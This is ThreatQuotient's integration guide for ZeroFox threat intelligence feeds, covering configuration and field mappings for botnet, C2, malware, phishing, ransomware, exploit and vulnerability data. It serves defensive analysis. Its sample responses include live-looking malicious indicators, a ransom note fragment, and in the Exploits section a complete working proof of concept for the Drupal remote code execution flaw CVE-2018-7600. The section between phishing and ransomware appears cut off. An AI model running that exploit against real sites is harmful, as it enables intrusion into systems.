

ThreatQuotient



ZeroFox CTI CDF

Version 1.0.2

October 15, 2024

ThreatQuotient

20130 Lakeview Center Plaza Suite 400
Ashburn, VA 20147

 ThreatQ Supported

Support

Email: support@threatq.com

Web: support.threatq.com

Phone: 703.574.9893

Contents

Warning and Disclaimer	3
Support	4
Integration Details.....	5
Introduction	6
Installation.....	7
Configuration	8
ZeroFox CTI - Botnets	8
ZeroFox CTI - C2 Domains	10
ZeroFox CTI - Exploits	12
ZeroFox CTI - Malware.....	13
ZeroFox CTI - Phishing.....	15
ZeroFox CTI - Ransomware.....	17
ZeroFox CTI - Vulnerabilities.....	19
ThreatQ Mapping.....	21
ZeroFox CTI - Botnets	21
ZeroFox CTI - C2 Domains	23
ZeroFox CTI - Malware.....	25
ZeroFox CTI - Phishing.....	27
ZeroFox CTI - Ransomware.....	29
ZeroFox CTI - Exploits	32
ZeroFox CTI - Vulnerabilities.....	34
Average Feed Run.....	36
ZeroFox CTI - Botnets	36
ZeroFox CTI - C2 Domains	36
ZeroFox CTI - Malware.....	37
ZeroFox CTI - Phishing.....	37
ZeroFox CTI - Ransomware.....	37
ZeroFox CTI - Exploits	38
ZeroFox CTI - Vulnerabilities.....	38
Known Issues / Limitations	39
Change Log	40

Warning and Disclaimer

ThreatQuotient, Inc. provides this document “as is”, without representation or warranty of any kind, express or implied, including without limitation any warranty concerning the accuracy, adequacy, or completeness of such information contained herein. ThreatQuotient, Inc. does not assume responsibility for the use or inability to use the software product as a result of providing this information.

Copyright © 2024 ThreatQuotient, Inc.

All rights reserved. This document and the software product it describes are licensed for use under a software license agreement. Reproduction or printing of this document is permitted in accordance with the license agreement.

Support

This integration is designated as **ThreatQ Supported**.

Support Email: support@threatq.com

Support Web: <https://support.threatq.com>

Support Phone: 703.574.9893

Integrations/apps/add-ons designated as **ThreatQ Supported** are fully supported by ThreatQuotient's Customer Support team.

ThreatQuotient strives to ensure all ThreatQ Supported integrations will work with the current version of ThreatQuotient software at the time of initial publishing. This applies for both Hosted instance and Non-Hosted instance customers.



ThreatQuotient does not provide support or maintenance for integrations, apps, or add-ons published by any party other than ThreatQuotient, including third-party developers.

Integration Details

ThreatQuotient provides the following details for this integration:

Current Integration Version	1.0.2
Compatible with ThreatQ Versions	>= 5.12.1
Support Tier	ThreatQ Supported

Introduction

The ZeroFox CTI integration for ThreatQ enables the automatic ingestion of cyber threat intelligence such as botnets, malware, ransomware, exploits, c2 servers, and more from the ZeroFox API.

The integration provides the following feeds:

- **ZeroFox CTI - Botnets** - This feed automatically pulls botnet-related IOCs and related context from the ZeroFox API.
- **ZeroFox CTI - C2 Domains** - This feed automatically pulls C2 Domain IOCs and related context from the ZeroFox API.
- **ZeroFox CTI - Malware** - This feed automatically pulls malware-related IOCs (such as hashes) and related context from the ZeroFox API.
- **ZeroFox CTI - Phishing** - This feed automatically pulls phishing-related IOCs (such as URLs and domains) and related context from the ZeroFox API.
- **ZeroFox CTI - Ransomware** - This feed automatically pulls ransomware-related IOCs (such as hashes) and related context from the ZeroFox API.
- **ZeroFox CTI - Exploits** - This feed automatically pulls exploit-related IOCs (such as CVEs) and related context from the ZeroFox API.
- **ZeroFox CTI - Vulnerabilities** - This feed automatically pulls vulnerability-related IOCs (such as CVEs) and related context from the ZeroFox API.

The integration ingests the following system objects:

- Indicators
 - Indicator Attributes
- Malware
- Vulnerabilities
 - Vulnerability Attributes

Installation

Perform the following steps to install the integration:



The same steps can be used to upgrade the integration to a new version.

1. Log into <https://marketplace.threatq.com/>.
2. Locate and download the integration yaml file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the **Add New Integration** button.
5. Upload the integration yaml file using one of the following methods:
 - Drag and drop the file into the dialog box
 - Select **Click to Browse** to locate the file on your local machine



ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.

6. Select the individual feeds to install, when prompted, and click **Install**. The feed will be added to the integrations page.

You will still need to [configure and then enable](#) the feed.

Configuration



ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other integration-related credentials.

To configure the integration:

1. Navigate to your integrations management page in ThreatQ.
2. Select the **Commercial** option from the *Category* dropdown (optional).



If you are installing the integration for the first time, it will be located under the **Disabled** tab.

3. Click on the integration entry to open its details page.
4. Enter the following parameters under the **Configuration** tab:

ZeroFox CTI - Botnets

PARAMETER	DESCRIPTION
ZeroFox Username/Email	Your ZeroFox username/email.
ZeroFox Password/Legacy Token	Your ZeroFox password/legacy token.
Ingested Context	Select the context types to ingest. As of this publication, the only option is Bot Name .
Ingested Bot Name As	Select the entity types to be used to ingest bot names. Options include Attributes and Malware Objects .
Enable SSL Verification	Enable this option if the feed should verify the SSL certificate.
Disable Proxies	Enable this option to have the feed ignore proxies set in the ThreatQ UI.

< ZeroFox CTI - Botnets



Disabled ☒ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration Activity Log

ZeroFox Username / Email

Enter your ZeroFox username/email to login

ZeroFox Password / Legacy Token

Enter your ZeroFox password or legacy token to login

Ingested Context

Select which pieces of context you'd like ingested into ThreatQ

☒ Bot Name

Ingest Bot Name As

Select which entity types you'd like bot names to be ingested as into ThreatQ

☒ Attributes

☐ Malware Objects

☐ Enable SSL Verification

☒ Disable Proxies

ZeroFox CTI - C2 Domains

PARAMETER	DESCRIPTION
ZeroFox Username/Email	Your ZeroFox username/email.
ZeroFox Password/Legacy Token	Your ZeroFox password/legacy token.
Ingested Context	Select the context types to ingest. Options include Tags and Port .
Ingested IOC Types	Select the IOC types to ingest. Options include: ◦ IP Addresses ◦ IPv6 Addresses ◦ Domains
Ingested Tags As	Select the entity types to be used to ingest tags. Options include Tags and Attributes .
Enable SSL Verification	Enable this option if the feed should verify the SSL certificate.
Disable Proxies	Enable this option to have the feed ignore proxies set in the ThreatQ UI.

< ZeroFox CTI - C2 Domains



Disabled ☒ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration

Activity Log

ZeroFox Username / Email

Enter your ZeroFox username/email to login

ZeroFox Password / Legacy Token

Enter your ZeroFox password or legacy token to login

Ingested Context

Select which pieces of context you'd like ingested into ThreatQ

- ☒ Tags
- ☒ Port

Ingested IOC Types

Select which IOC types you'd like ingested into ThreatQ

- ☒ IP Addresses
- ☒ IPv6 Addresses
- ☒ Domains

Ingest Tags As

Select which entity types you'd like tags to be ingested as into ThreatQ

- ☒ Tags
- ☐ Attributes

- ☐ Enable SSL Verification
- ☒ Disable Proxies

If true, specifies that this feed should not honor any proxies setup in ThreatQuotient.

ZeroFox CTI - Exploits

PARAMETER	DESCRIPTION
ZeroFox Username/ Email	Your ZeroFox username/email.
ZeroFox Password/ Legacy Token	Your ZeroFox password/legacy token.
Ingest CVEs As	Use the dropdown to select the entity types to be used to ingest CVEs. Options include Indicators and Vulnerabilities .
Enable SSL Verification	Enable this option if the feed should verify the SSL certificate.
Disable Proxies	Enable this option to have the feed ignore proxies set in the ThreatQ UI.

< ZeroFox CTI - Exploits



Disabled
☒
Enabled

Run Integration

Uninstall

Additional Information
Integration Type: Feed
Version:

Configuration
Activity Log

ZeroFox Username / Email

Enter your ZeroFox username/email to login

ZeroFox Password / Legacy Token

Enter your ZeroFox password or legacy token to login

Ingest CVEs As

Vulnerabilities

Select which entity types you'd like CVEs to be ingested as into ThreatQ

☒ Enable SSL Verification
☐ Disable Proxies

If true, specifies that this feed should not honor any proxies setup in ThreatQuotient.
Set indicator status to...

Active

ZeroFox CTI - Malware

PARAMETER	DESCRIPTION
ZeroFox Username/Email	Your ZeroFox username/email.
ZeroFox Password/Legacy Token	Your ZeroFox password/legacy token.
Ingested Context	Select the context types to ingest. Options include: ◦ Malware Family ◦ Botnet ◦ C2 Servers ◦ Tags
Ingested IOC Types	Select the IOC types to ingest. Options include: ◦ MD5 ◦ SHA-1 ◦ SHA-256
Ingest Tags As	Select the entity types to be used to ingest tags. Options include Tags and Attributes .
Ingest Malware Family As	Select the entity types to be used to ingest malware families. Options include Attributes and Malware Objects .
Enable SSL Verification	Enable this option if the feed should verify the SSL certificate.
Disable Proxies	Enable this option to have the feed ignore proxies set in the ThreatQ UI.

< ZeroFox CTI - Malware



Disabled ☐ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration Activity Log

ZeroFox Username / Email

Enter your ZeroFox username/email to login

ZeroFox Password / Legacy Token

Enter your ZeroFox password or legacy token to login

Ingested Context

Select which pieces of context you'd like ingested into ThreatQ

- ☒ Malware Family
- ☒ Botnet
- ☒ C2 Servers
- ☒ Tags

Ingested IOC Types

Select which IOC types you'd like ingested into ThreatQ

- ☒ MD5
- ☒ SHA-1
- ☒ SHA-256

Ingest Tags As

Select which entity types you'd like tags to be ingested as into ThreatQ

- ☒ Tags
- ☐ Attributes

Ingest Malware Family As

Select which entity types you'd like malware families to be ingested as into ThreatQ

- ☒ Attributes
- ☐ Malware Objects

ZeroFox CTI - Phishing

PARAMETER	DESCRIPTION
ZeroFox Username/Email	Your ZeroFox username/email.
ZeroFox Password/Legacy Token	Your ZeroFox password/legacy token.
Ingested Context	Select the context types to ingest. Options include: ◦ Certificate Authority ◦ Country Code ◦ ASN
Ingested IOC Types	Select the IOC types to ingest. Options include: ◦ IP Addresses ◦ Domains ◦ URLs
Ingest ASNs As	Select the entity types to be used to ingest ASNs. Options include Attributes and Indicators .
Enable SSL Verification	Enable this option if the feed should verify the SSL certificate.
Disable Proxies	Enable this option to have the feed ignore proxies set in the ThreatQ UI.

< ZeroFox CTI - Phishing



Disabled ☒ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration

Activity Log

ZeroFox Username / Email

Enter your ZeroFox username/email to login

ZeroFox Password / Legacy Token

Enter your ZeroFox password or legacy token to login

Ingested Context

Select which pieces of context you'd like ingested into ThreatQ

- ☒ Certificate Authority
- ☒ Country Code
- ☐ ASN

Ingested IOC Types

Select which IOC types you'd like ingested into ThreatQ

- ☒ IP Addresses
- ☒ Domains
- ☒ URLs

Ingest ASNs As

Select which entity types you'd like ASNs to be ingested as into ThreatQ

- ☒ Attributes
- ☐ Indicators
- ☐ Enable SSL Verification
- ☒ Disable Proxies

ZeroFox CTI - Ransomware

PARAMETER	DESCRIPTION
ZeroFox Username/Email	Your ZeroFox username/email.
ZeroFox Password/Legacy Token	Your ZeroFox password/legacy token.
Ingested Context	Select the context types to ingest. Options include: ◦ Ransom Note ◦ Tags ◦ Crypto Wallet Addresses ◦ Note URLs
Ingested IOC Types	Select the IOC types to ingest. Options include: ◦ MD5 ◦ SHA-1 ◦ SHA-256 ◦ Email Address
Ingest Tags As	Select the entity types to be used to ingest bot names. Options include Tags and Attributes .
Enable SSL Verification	Enable this option if the feed should verify the SSL certificate.
Disable Proxies	Enable this option to have the feed ignore proxies set in the ThreatQ UI.

< ZeroFox CTI - Ransomware



Disabled ☒ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration Activity Log

ZeroFox Username / Email

Enter your ZeroFox username/email to login

ZeroFox Password / Legacy Token

Enter your ZeroFox password or legacy token to login

Ingested Context

Select which pieces of context you'd like ingested into ThreatQ

- ☒ Ransom Note
- ☒ Tags
- ☐ Crypto Wallet Addresses
- ☒ Note URLs

Ingested IOC Types

Select which IOC types you'd like ingested into ThreatQ

- ☒ MD5
- ☒ SHA-1
- ☒ SHA-256
- ☒ Email Address

Ingest Tags As

Select which entity types you'd like tags to be ingested as into ThreatQ

- ☒ Tags
- ☐ Attributes
- ☐ Enable SSL Verification
- ☒ Disable Proxies

ZeroFox CTI - Vulnerabilities

PARAMETER	DESCRIPTION
ZeroFox Username/ Email	Your ZeroFox username/email.
ZeroFox Password/ Legacy Token	Your ZeroFox password/legacy token.
Ingested Context	Select the context types to ingest. Options include: ◦ Base Score ◦ Description ◦ Exploitability Score ◦ Impact Score ◦ Vector String ◦ Summary ◦ Remediation ◦ Affected Product ◦ Affected Vendor
Ingest CVEs As	Use the dropdown to select the entity types to be used to ingest CVEs. Options include Indicators and Vulnerabilities .
Enable SSL Verification	Enable this option if the feed should verify the SSL certificate.
Disable Proxies	Enable this option to have the feed ignore proxies set in the ThreatQ UI.

< ZeroFox CTI - Vulnerabilities



Disabled ☒ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration Activity Log

ZeroFox Username / Email

Enter your ZeroFox username/email to login

ZeroFox Password / Legacy Token

Enter your ZeroFox password or legacy token to login

Ingested Context

Select which pieces of context you'd like ingested into ThreatQ

- ☒ Base Score
- ☒ Description
- ☒ Exploitability Score
- ☒ Impact Score
- ☒ Vector String
- ☒ Summary
- ☒ Remediation
- ☒ Affected Product
- ☒ Affected Vendor

Ingest CVEs As

Vulnerabilities

Select which entity types you'd like CVEs to be ingested as into ThreatQ

- ☒ Enable SSL Verification
- ☐ Disable Proxies

5. Review any additional settings, make any changes if needed, and click on **Save**.
6. Click on the toggle switch, located above the *Additional Information* section, to enable it.

ThreatQ Mapping

ZeroFox CTI - Botnets

The ZeroFox CTI - Botnets feed automatically pulls botnet-related IOCs and related context from the ZeroFox API.

GET <https://api.zerofox.com/cti/botnet/>

Sample Response:

```
{
  "next": "https://api.zerofox.com/cti/botnet/?
cursor=c2E9MTU1NzE4NzI3NjAwMCZzYT02Mjk2NDA5MA%3D%3D",
  "results": [
    {
      "ip_address": "46.32.123.164",
      "listed_at": "2019-05-07T00:00:08Z",
      "bot_name": "andromeda",
      "c2_ip_address": "184.105.192.2",
      "c2_domain": "differentia.ru"
    }
  ]
}
```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>results[].ip_address</code>	Indicator.Value	IP Address	<code>results[].listed_at</code>	46.32.123.164	N/A
<code>results[].bot_name</code>	Indicator.Attribute	Bot Name	<code>results[].listed_at</code>	andromeda	If attribute ingestion is enabled
<code>results[].bot_name</code>	Malware.Value	N/A	<code>results[].listed_at</code>	N/A	If malware object ingestion is enabled
<code>results[].c2_ip_address</code>	Indicator.Value	IP Address	<code>results[].listed_at</code>	184.105.192.2	N/A
<code>results[].c2_domain</code>	Indicator.Value	FQDN	<code>results[].listed_at</code>	differentia.ru	N/A
<code>results[].threat_type</code>	Indicator.Attribute	Threat Type	<code>results[].listed_at</code>	C2	N/A

ZeroFox CTI - C2 Domains

The ZeroFox CTI - C2 Domains feed automatically pulls C2 Domain IOCs and related context from the ZeroFox API.

GET <https://api.zerofox.com/cti/c2-domains/>

Sample Response:

```
{
  "next": "https://api.zerofox.com/cti/c2-domains/?
cursor=c2E9MTYyNDc3NzMzMzA1MyZzYT03MjM3",
  "results": [
    {
      "domain": "personalizedyardsigns.com",
      "port": 80,
      "tags": [
        "trojan",
        "spyware",
        "stealer",
        "family:formbook",
        "rat",
        "persistence",
        "installer"
      ],
      "ip_addresses": [
        "104.21.40.59",
        "172.67.177.176"
      ],
      "updated_at": "2021-06-23T17:07:48Z",
      "created_at": "2021-06-24T20:54:39.469436Z"
    }
  ]
}
```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
results[].domain	Indicator.Value	FQDN	results[].created_at	personalizedyardsigns.com	If Domains option is enabled
results[].ip_addresses[]	Indicator.Value	IP Address or IPv6 Address	results[].created_at	[104.21.40.59, 172.67.177.176]	If IP Addresses or IPv6 Addresses is enabled
results[].port	Indicator.Attribute	Port	results[].created_at	80	If Port option is enabled
results[].tags[]	Indicator.Attribute	Tag	results[].created_at	[trojan,spyware, stealer]	If tag ingestion as Attributes is enabled
results[].tags[]	Tag	N/A	N/A	[trojan,spyware, stealer]	If tag ingestion as Tags is enabled

ZeroFox CTI - Malware

The ZeroFox CTI - Malware feed automatically pulls malware-related IOCs (such as hashes) and related context from the ZeroFox API.

GET <https://api.zerofox.com/cti/malware/>

Sample Response:

```
{
  "next": "https://api.zerofox.com/cti/malware/?
cursor=c2E9MTYyMDI1MzQ3NjAwMCZzYT0yMjI3NTY%3D",
  "results": [
    {
      "created_at": "2021-04-22T17:40:10Z",
      "family": [
        "dcrat",
        "fickerstealer",
        "redline"
      ],
      "md5": "563107b1df2a00f4ec868acd9e08a205",
      "sha1": "9cb9c91d66292f5317aa50d92e38834861e9c9b7",
      "sha256":
"bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9",
      "sha512":
"99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae
3457c87536347d15eda3f08aa616450778a99376df540d74d1",
      "tags": [
        "family:dcrat",
        "family:elysiumstealer",
        "family:fickerstealer",
        "family:raccoon"
      ],
      "botnet": [
        "6p23.04",
        "EP"
      ],
      "c2": [
        "sodaandcoke.top:80",
        "redworksite.info:80",
        "download3.info:80",
        "http://999080321newfolder1002002131-service1002.space/",
        "http://999080321newfolder1002002231-service1002.space/"
      ]
    }
  ]
}
```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
results[].md5	Indicator.Value	MD5	results[].created_at	563107b1df2a00f4ec868acd9e08a205	If MD5 option is enabled
results[].sha1	Indicator.Value	SHA-1	results[].created_at	9cb9c91d66292f5317aa50d92e38834861e9c9b7	If SHA-1 option is enabled
results[].sha256	Indicator.Value	SHA-256	results[].created_at	bf2bd257dde4921ce83c7c1303faf e7f9f81e53c2775d3c373ced482b22eb8a9	If SHA-256 option is enabled
results[].family[]	Indicator.Attribute	Malware Family	results[].created_at	[dcrat,fickerstealer,redline]	If set to ingest as Attributes
results[].family[]	Malware.Value	N/A	results[].created_at	N/A	If set to ingest as Malware Objects
results[].tags[]	Indicator.Attribute	Tag	results[].created_at	[family:dcrat, family:elysiumstealer, family:fickerstealer]	If tag ingestion as Attributes is enabled
results[].tags[]	Tag	N/A	N/A	N/A	If tag ingestion as Tags is enabled
results[].botnet[]	Indicator.Attribute	Botnet	results[].created_at	[6p23.04,EP]	If Botnet option is enabled
results[].c2[]	Indicator.Value	URL	results[].created_at	[sodaandcoke.top:80, redworksite.info:80, download3.info:80]	If C2 Servers option is enabled

ZeroFox CTI - Phishing

This feed automatically pulls phishing-related IOCs (such as URLs and domains) and related context from the ZeroFox API.

GET <https://api.zerofox.com/cti/phishing/>

Sample Response:

```
{
  "next": "https://api.zerofox.com/cti/phishing/?
cursor=c2E9MTYyNjQ2NzU0NjAwMCZzYT0yODU1",
  "results": [
    {
      "scanned": "1970-01-19T19:41:27.989000Z",
      "domain": "www.purfan.com",
      "url": "https://www.purfan.com/modules/pr/-/canada/manage/
Canada_en",
      "cert": {
        "authority": "Cloudflare, Inc.",
        "fingerprint": "1900D261A30FBB6930021D9B47C7757FACABF8B0",
        "issued": "1970-01-19T15:18:43.200000Z"
      },
      "host": {
        "ip": "104.26.0.107",
        "asn": 13335,
        "geo": "US"
      }
    }
  ]
}
```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
results[].domain	Indicator.Value	FQDN	results[].score	www.purfan.com	If Domains option is enabled
results[].url	Indicator.Value	URL	results[].score	https://www.purfan.com/modules/pr/-/canada/manage/Canada_en	If URLs option is enabled
results[].certificate.authority	Indicator.Attribute	Certificate Authority	results[].score	Cloudflare, Inc.	If Certificate Authority option is enabled
results[].host.ip	Indicator.Value	IP Address	results[].score	104.26.0.107	If IP Addresses option is enabled
results[].host.geo	Indicator.Attribute	Country Code	results[].score	US	If Country Code option enabled
results[].host.asn	Indicator.Attribute	ASN	results[].score	13335	If enabled and set to ingest as an Attribute
results[].host.asn	Indicator.Value	ASN	results[].score	13335	If enabled and set to ingest as an Indicator


```
FQeS10XKVjbx\r\nqouwnwHDI8H/+yrYzyGTdOor/UmskK7Jgk/  
kgtwgnpsSQ1Et4ZEUpoIrhokuItjoV\r\nzZLXRALyXsKoquyTx8KtzYJV4njo8x/  
PyItCVM3MXvxEAjwiNSKhzsboPGvnMVh8\r\nny0RDF5BJaXNdGghN1TKq1fDSxwTeRO1bZJz9X8pcgd  
jIgPWly1yfqbmoYA81cvq\r\nlJFtB2FHjanvusRuELKSKErAhtTjjxdHLGbQQKFfdKWbfntUpUjbrou  
UFYH+a8ZW0a\r\nneiW/  
il6+8W2ax6V4Anyuztra76EvQ7+xicFEb92BQBGu025VR0tdIsCFghhyRN1\r\nnpDOr9I8z9WsFKvIP  
Pl86TYNT6C6vVARORzakxKKrmEkf7ec9+Bb8nbjdah/KSI4gy\r\nnw4SG7+25n7N+3I2q49vfGDQ/  
+M/  
DznbsxxvsMaml8OPKEb1i8ba+dSaXF+cMyPpyb\r\nngBWdgk4VybcqhGaBvrccbbHvp0HChZS98N6X86  
Pa88W/8DKlt8yhce9duJI02dl\r\nn9VIqo3u77QTcBaL2XBkr67kCxZ1jnH78ofWHKXMgtJJQxf/  
MzzBs+gOP2ZS4QZHkz\r\nn9DXwpEycvGN/QkidCNCCDBpwU4ERxBxyB/  
FTBDWyJSdkiaRIl3ZXWOqOM8ohS\r\nnib/9y751jp75a6IJ/  
p+m405SJMH4AdECNLJPfeI20xrwnN2keDaGzc9An05Mi4iy\r\nnnPVJELE8SrSzxoJHZzxM138NEIGW  
tmjqudFIUZjfJKsn/  
NB0mJqvL6rsOCsgEy6\r\nn3ku+omtSwscLNCHCozM9R9ab66RsJ9hk7elxsxzlnv6zmiseYQ5+efqx  
VOsy3mag\r\nn2ur+vL0xzWeXvdzd00m3yrkBZRCCNovwr1CBHyCJ8H+eirQV5jASl8tUh2vp4jpgz\r\nnqzwBjqhlLyOn015I8zm9ovR90vRzMW0IHICK5vj0YNFFoyvNZyJl853wb6LIz4gy\r\ningnvNCptDn3  
A+kLGUVZTmuIWukVK5AJPNsuRXw6OdIwzgUnluTwZ3UP7zorZQSgha\r\nnhFRnc0R7zglyNBHDip3wV  
axFaXIjsWhW1QuhuZ24qreA9a6eo+iqdZXZGFsfclI\r\ncgzQBMdxDWNehq+rRJovvrYeINyQmvk5  
m9X96EKJQNl3jt35UZZy6+bJTMM/  
4VF\r\nnTYEEAwPOV8PLPS2VDHi68y2rfxFzfjnzQ2bzvjHWQR0ufB5mv5ga1f6rgWZLfFrMDB\r\nnr2UA  
75DCApQIMQtMEydCadwjReLRqkydzdd+zbtZAHQ7em5\r\nn\r\nn\r\nn\r\nn-----  
  
\r\n\r\n!!! DANGER !!!\r\nndONT try to change files by yourself, dont use any  
third party software for restoring your data or antivirus solutions - its may  
entail damage of the private key and, as result, The Loss all data.  
\r\n!!!! !! \r\nnone more time: Its in your interests to get your files back.  
From our side, we (the best specialists) make everything for restoring, but  
please should not interfere.\r\n!!!! !!"
```

```
{  
    "note_urls": [  
        "http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbxr6wkETF56nf6aq2nmyoyd.onion/BEBD9D7EC528C535",  
        "http://decryptor.cc/BEBD9D7EC528C535"  
    ],  
    "crypto_wallets": null,  
    "ransomware_name": [  
        "sodinokibi"  
    ],  
    "tags": [  
        "family:sodinokibi",  
        "persistence",  
        "ransomware"  
    ]  
}
```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
results[].md5	Indicator.Value	MD5	results[].created_at	3229a962b991674c860f617bbdece645	If MD5 option is enabled
results[].sha1	Indicator.Value	SHA-1	results[].created_at	5c4b231cfc58ce193a78419f9326efa2d2f0e6f6	If SHA-1 option is enabled
results[].sha256	Indicator.Value	SHA-256	results[].created_at	1363b70d46c3af4d0794ecf650e3f50ceb3f81302e6059e42d94838e9ada1111	If SHA-256 option is enabled
results[].emails[]	Indicator.Value	Email Address	results[].created_at	[WayneEvenson@protonmail.com, WayneEvenson@tutanota.com]	If Email Address option is enabled
results[].ransom_note	Indicator.Attribute	Ransom Note	results[].created_at	Your network has been penetrated. All files on each host in the network have been encrypted with a strong algorithm.[...]	If Ransom Note option is enabled
results[].note_urls[]	Indicator.Attribute	Note URL	results[].created_at	N/A	If Note URLs option is enabled
results[].crypto_wallets[]	Indicator.Attribute	Crypto Wallet Address	results[].created_at	14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk	If Crypto Wallet Addresses option is enabled
results[].ransomware_name[]	Malware.Value	N/A	results[].created_at	ryuk	N/A
results[].tags[]	Indicator.Attribute	Tag	results[].created_at	[family:ryuk,persistence,ransomware,spyware]	If tag ingestion as Attributes is enabled
results[].tags[]	Tag	N/A	N/A	[family:ryuk,persistence,ransomware,spyware]	If tag ingestion as Tags is enabled

ZeroFox CTI - Exploits

The ZeroFox CTI - Exploits feed automatically pulls exploit-related IOCs (such as CVEs) and related context from the ZeroFox API.

GET <https://api.zerofox.com/cti/exploits/>

Sample Response:

```
{
  "next": "https://api.zerofox.com/cti/exploits/?
cursor=c2E9MTYyOTIxNjA2NzAwMCZzYT0xNjI%3D",
  "results": [
    {
      "created_at": "2021-08-17T15:51:24Z",
      "cve": "CVE-2018-7600",
      "url": "https://github.com/a2u/CVE-2018-7600",
      "exploit": "#!/usr/bin/env python3\nimport sys\nimport
requests\n\nprint
('#####')\nprint ('#
Proof-Of-Concept for CVE-2018-7600')\nprint ('# by Vitalii Rudnykh')\nprint ('#
Thanks by AlbinoDrought, RichterZ, FindYanot, CostelSalanders')\nprint ('#
https://github.com/a2u/CVE-2018-7600')\nprint
('#####')\nprint
('Provided only for educational or information purposes\\n')\n\ntarget =
input('Enter target url (example: https://domain.ltd/): ')\n\n# Add proxy
support (eg. BURP to analyze HTTP(s) traffic)\n# set verify = False if your
proxy certificate is self signed\n# remember to set proxies both for http and
https\n# \n# example:\n# proxies = {'http': 'http://127.0.0.1:8080', 'https':
'http://127.0.0.1:8080'}\n# verify = False\nproxies = {}\nverify = True\n\nurl
= target + 'user/register?element_parents=account/mail/
%23value&ajax_form=1&wrapper_format=drupal_ajax' \npayload = {'form_id':
'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
'mail[#type]': 'markup', 'mail[#markup]': 'echo \";-)\n | tee hello.txt'}\n\nr
= requests.post(url, proxies=proxies, data=payload, verify=verify)\ncheck =
requests.get(target + 'hello.txt', proxies=proxies, verify=verify)\nif
check.status_code != 200:\n  sys.exit(\"Not exploitable\")\nprint ('\\nCheck:
'+target+'hello.txt')"
```


ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>results[].cve</code>	Indicator.Value	CVE	<code>results[].created_at</code>	N/A	If CVEs ingested as Indicators
<code>results[].cve</code>	Vulnerability.Value	N/A	<code>results[].created_at</code>	N/A	If CVEs ingested as Vulnerability Objects
<code>results[].cve</code>	Vulnerability.Value	N/A	<code>results[].created_at</code>	Formatted into 'Exploit: {CVE}'	N/A
<code>results[].exploit</code>	Vulnerability.Description	N/A	<code>results[].created_at</code>	Formatted into <pre> tags	Applied to the Exploit: {CVE} object
<code>results[].url</code>	Indicator.Attribute	Reference	<code>results[].created_at</code>	N/A	N/A

ZeroFox CTI - Vulnerabilities

This feed automatically pulls vulnerability-related IOCs (such as CVEs) and related context from the ZeroFox API.

GET <https://api.zerofox.com/cti/vulnerabilities/>

Sample Response:

```
{
  "next": "https://api.zerofox.com/cti/vulnerabilities/?
cursor=c2E90DEwNDQ2NDAwMDAwJnNhPTYwODE%3D",
  "results": [
    {
      "base_score": 0,
      "description": "The debug command in Sendmail is enabled, allowing
attackers to execute commands as root.",
      "exploitability_score": 0,
      "impact_score": 0,
      "created_at": "1988-10-01T04:00:00Z",
      "updated_at": "2019-06-11T20:29:00Z",
      "vector_string": "",
      "cve": "CVE-1999-0095",
      "summary": "",
      "remediation": "",
      "products": [
        {
          "vendor": "eric_allman",
          "product": "sendmail"
        }
      ]
    }
  ]
}
```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>results[].cve</code>	Indicator.Value	CVE	<code>results[].created_at</code>	CVE-1999-0095	If CVEs option ingested as Indicators
<code>results[].cve</code>	Vulnerability.Value	N/A	<code>results[].created_at</code>	CVE-1999-0095	If CVEs option ingested as Vulnerability Objects
<code>results[].base_score</code>	Indicator.Attribute	Base Score	<code>results[].created_at</code>	0	If Base Score option is enabled
<code>results[].impact_score</code>	Indicator.Attribute	Impact Score	<code>results[].created_at</code>	0	If Impact Score option is enabled
<code>results[].exploitability_score</code>	Indicator.Attribute	Exploitability Score	<code>results[].created_at</code>	0	If Exploitability Score option is enabled
<code>results[].vector_string</code>	Indicator.Attribute	Vector String	<code>results[].created_at</code>	N/A	If Vector String option is enabled
<code>results[].summary</code>	Indicator.Attribute	Summary	<code>results[].created_at</code>	N/A	If Summary option is enabled
<code>results[].remediation</code>	Indicator.Attribute	Remediation	<code>results[].created_at</code>	N/A	If Remediation option is enabled
<code>results[].products[].vendor</code>	Indicator.Attribute	Affected Vendor	<code>results[].created_at</code>	eric_allman	If Affected Vendor option is enabled
<code>results[].products[].product</code>	Indicator.Attribute	Affected Product	<code>results[].created_at</code>	sendmail	If Affected Product option is enabled
